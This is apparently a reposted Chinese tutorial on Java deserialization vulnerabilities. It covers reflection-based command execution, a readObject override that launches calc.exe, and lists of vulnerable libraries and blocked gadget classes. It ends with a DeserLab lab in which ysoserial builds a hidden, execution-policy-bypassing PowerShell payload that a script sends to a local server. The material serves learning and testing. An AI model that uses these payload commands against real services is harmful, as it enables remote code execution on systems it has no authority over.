java反序列化漏洞入门分析
参考文献:
https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/amp/
https://www.cnblogs.com/ssooking/p/5875215.html
https://xz.aliyun.com/t/2041
https://xz.aliyun.com/t/2028
https://xz.aliyun.com/t/2029?from=groupmessage
https://www.anquanke.com/post/id/86932
JAVA序列化和反序列化的一个例子
package ser;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
class serdemo implements Serializable{
private String name;
public String getName(){
return name;
}
public void setName(String name){
this.name = name;
}
}
public class serdemo1 {
public static void main(String args[]) throws IOException, ClassNotFoundException {
#序列化
FileOutputStream fileOutputStream = new FileOutputStream("seri.txt");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
serdemo serdemo=new serdemo();
serdemo.setName("sheng");
outputStream.writeObject(serdemo);
#反序列化
FileInputStream fileInputStream = new FileInputStream("seri.txt");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
serdemo object2 = (serdemo) inputStream.readObject();
System.out.println("反序列化后的对象的值");
System.out.println(object2.getName());
inputStream.close();
}
}
详解
- Java中的API实现:
序列化:
ObjectOutputStream类 --> writeObject()
该方法对参数指定的obj对象进行序列化,把字节序列写到一个目标输出流中,按Java的标准约定是给文件一个.ser扩展名
反序列化:ObjectInputStream类 --> readObject()
该方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回
实现
Serializable
和Externalizable
接口的类才能序列化与反序列化。Externalizable接口
继承自Serializable接口
,实现Externalizable接口
的类完全由自身来控制序列化的行为,而仅实现Serializable接口
的类可以采用默认的序列化方式。java的反射机制:
在运行状态中:
对于任意一个类,都能够判断一个对象所属的类;
对于任意一个类,都能够知道这个类的所有属性和方法;
对于任意一个对象,都能够调用它的任意一个方法和属性;
这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。
Java反射的四大核心是 Class
,Constructor
,Field
,Method
,
利用Java的反射机制来操纵代码调用本地的计算器
package ser1;
import java.lang.reflect.InvocationTargetException;
public class POC {
public static void main(String args[]) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException {
Object runtime=Class.forName("java.lang.Runtime")
.getMethod("getRuntime",new Class[]{})
.invoke(null);
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runtime,"calc.exe");
}
}
漏洞分析:
Apache Commons Collections
是一个扩展了Java标准库里的Collection
结构的第三方基础库,Apache Commons Collections
有一个特殊的接口,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer
。
一个简单的反序列化利用
package ser1;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.ServerSocket;
import java.net.Socket;
public class listen {
public static void main(String args[]) throws Exception{
UnsafeClass Unsafe = new UnsafeClass();
Unsafe.name = "sheng";
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(Unsafe);
os.close();
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
#恢复对象
UnsafeClass objectFromDisk = (UnsafeClass)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
class UnsafeClass implements Serializable{
public String name;
#重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
in.defaultReadObject();#执行默认的readObject()方法
Runtime.getRuntime().exec("calc.exe"); #执行命令
}
}
基础库中存在的反序列化漏洞
- 存在危险的基础库:
commons-fileupload 1.3.1
commons-io 2.4
commons-collections 3.1
commons-logging 1.2
commons-beanutils 1.9.2
org.slf4j:slf4j-api 1.7.21
com.mchange:mchange-commons-java 0.2.11
org.apache.commons:commons-collections 4.0
com.mchange:c3p0 0.9.5.2
org.beanshell:bsh 2.0b5
org.codehaus.groovy:groovy 2.3.9
org.springframework:spring-aop 4.1.4.RELEASE
- 某反序列化防护软件便是通过禁用以下类的反序列化来保护程序:
'org.apache.commons.collections.functors.InvokerTransformer',
'org.apache.commons.collections.functors.InstantiateTransformer',
'org.apache.commons.collections4.functors.InvokerTransformer',
'org.apache.commons.collections4.functors.InstantiateTransformer',
'org.codehaus.groovy.runtime.ConvertedClosure',
'org.codehaus.groovy.runtime.MethodClosure',
'org.springframework.beans.factory.ObjectFactory',
'xalan.internal.xsltc.trax.TemplatesImpl'
漏洞挖掘
反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。
白盒检测
① 通过检索源码中对反序列化函数的调用来静态寻找反序列化的输入点
- 搜索以下函数:
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
小数点前面是类名,后面是方法名
② 确定了反序列化输入点后,再考察应用的Class Path
中是否包含Apache Commons Collections
等危险库(ysoserial所支持的其他库亦可)。
③ 若不包含危险库,则查看一些涉及命令、代码执行的代码区域,防止程序员代码不严谨,导致bug。
④ 若包含危险库,则使用ysoserial进行攻击复现。
黑盒检测
- 通过抓包来检测请求中可能存在的序列化数据。
- 序列化数据通常以
AC ED
开始,之后的两个字节是版本号,版本号一般是00 05
,AC ED 00 05
经过Base64
编码之后为rO0AB
- 十六进制对照表:
0x70 - TC_NULL
0x71 - TC_REFERENCE
0x72 - TC_CLASSDESC
0x73 - TC_OBJECT
0x74 - TC_STRING
0x75 - TC_ARRAY
0x76 - TC_CLASS
0x7B - TC_EXCEPTION
0x7C - TC_LONGSTRING
0x7D - TC_PROXYCLASSDESC
0x7E - TC_ENUM
可以通过tcpdump抓取TCP/HTTP请求,通过SerialBrute.py去自动化检测,并插入ysoserial生成的exp
环境测试
看了挺多文章,搭一个怪难的,就直接用大佬的DeserLab来尝试了
DeserLab是一个使用了Groovy库
的简单网络协议应用,实现client
向server
端发送序列化数据的功能。而Groovy库
和上文中的Apache Commons Collection库
一样,含有可利用的POP链
。
环境
win10 python2.7 java1.8
分析过程
- 开启本地服务端和客户端
java -jar DeserLab.jar -server 127.0.0.1 6767
java -jar DeserLab.jar -client 127.0.0.1 6767
- 通过本地抓包工具
rawcap
抓包分析
- 提取序列化数据
将pcap包
转换为可待分析的数据格式。
#将pcap转换为文本,文本中只包含传输的数据、TCP源端口号以及目的端口号
tshark -r 1234.pcap -T fields -e tcp.srcport -e data -e tcp.dstport -E separator=,
#继续处理这些文本,根据端口以及每一行的开头部分来选择输出合适的载荷
| grep -v ',,' | grep '^6767,' | cut -d',' -f2 | tr 'n' ':' | sed s/://g
通过
wireshark
可以看到,客户端和服务器之间正在传输一个nb.deser.HashRequest
对象。结合工具的输出结果我们可知用户名以字符串形式存储在TC_BLOCKDATA类型中进行传输:
漏洞利用:
java -jar ysoserial.jar Groovy1 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc bQBrAGQAaQByACAAcwBoAGUAbgBnAA==" > 1.bin
- 使用deserlab_exploit.py脚本生成
payload
:
python2 1.py 127.0.0.1 1234 1.bin

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
-
上一篇
python:pycharm:突然之间引用同一个目录下的其他模块不出现代码提示的问题解决方法
同时,在主调模块中输入import进来的模块的名字,不会出现代码提示....... 居然没有代码提示 这是怎么个鬼情况呢??? 改一改: 路径写全,问题解决了. 然而这仅仅是一种解决方案. 另外一种解决方案是这样的: 把这个包含文件的目录设置成Sources Root pycharm就会索引里面的*.py文件了..... 然而有一个问题: 假如说我的工程里面有两个文件夹,都设置成了sources root,会发生什么情况呢?? 我们可以看到,这个test.py把database文件夹下的模块classuser给引入进来了 ---------------------------分割线------------------------------------------ 那么,如果我们的程序脱离了pycharm之后会发生什么情况呢? 我们去这个项目的文件夹开一个终端命令行窗口,然后python一下test.py 果然,上下文依赖出现问题了. 解决的方法是: 把你的主程序文件放在一个文件夹里面去,然后它所有调用的模块都放在这个文件夹,或者这个文件夹的子文件夹里面去: 这样子,既可以在pycha...
-
下一篇
Java基础之ArrayList源码解析
Java集合源码解析系列 Java基础之HashMap源码解析 Java基础之LinkedHashMap源码解析 ArrayList public class ArrayList<E> extends AbstractList<E> implements List<E>, RandomAccess, Cloneable, java.io.Serializable { /** * 默认ArrayList的容量为10 */ private static final int DEFAULT_CAPACITY = 10; /** * 可以看出ArrayList底层通过数组实现 */ private static final Object[] EMPTY_ELEMENTDATA = {}; private static final Object[] DEFAULTCAPACITY_EMPTY_ELEMENTDATA = {}; /** * 可以看出ArrayList基于数组实现 */ transient Object[] elementData; privat...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- CentOS6,7,8上安装Nginx,支持https2.0的开启
- Springboot2将连接池hikari替换为druid,体验最强大的数据库连接池
- Dcoker安装(在线仓库),最新的服务器搭配容器使用
- MySQL8.0.19开启GTID主从同步CentOS8
- CentOS8编译安装MySQL8.0.19
- SpringBoot2初体验,简单认识spring boot2并且搭建基础工程
- Windows10,CentOS7,CentOS8安装MongoDB4.0.16
- CentOS7,CentOS8安装Elasticsearch6.8.6
- Docker快速安装Oracle11G,搭建oracle11g学习环境
- SpringBoot2全家桶,快速入门学习开发网站教程